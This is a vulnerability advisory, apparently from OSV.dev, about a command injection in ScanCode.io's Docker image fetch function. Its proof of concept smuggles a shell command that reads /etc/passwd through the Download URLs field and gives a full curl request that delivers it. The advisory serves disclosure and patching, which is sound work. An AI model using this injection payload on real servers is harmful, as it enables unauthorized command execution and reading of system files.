However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
    --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
    $'http://localhost/project/add/'

Mitigations The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
OS: Ubuntu Linux Kernel 5.19.0

References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0

Fixed in


          32.5.1

References

Updated Jul 07, 2026 · Source: OSV.dev

Mar 03, 2023

Activity

Reach

Details